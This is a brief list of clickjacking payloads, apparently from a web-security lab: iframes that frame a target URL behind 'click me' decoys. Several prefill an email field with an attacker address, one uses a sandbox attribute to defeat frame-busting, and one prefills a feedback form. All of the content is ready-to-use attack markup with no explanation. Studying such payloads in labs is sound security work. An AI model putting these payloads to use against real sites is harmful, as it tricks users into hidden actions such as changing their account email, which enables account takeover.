$ payloads
click me
<iframe src="url"></iframe>
click me
<iframe src="url?email=hacker@attacker-website.com"></iframe>
click me
<iframe sandbox="allow-forms"
src="url?email=hacker@attacker-website.com"></iframe>
click me
<iframe
src="url?name=&email=hacker@attacker-website.com&subject=test&message=test#feedbackResult"></iframe>
click me first
click me next
<iframe src="url"></iframe>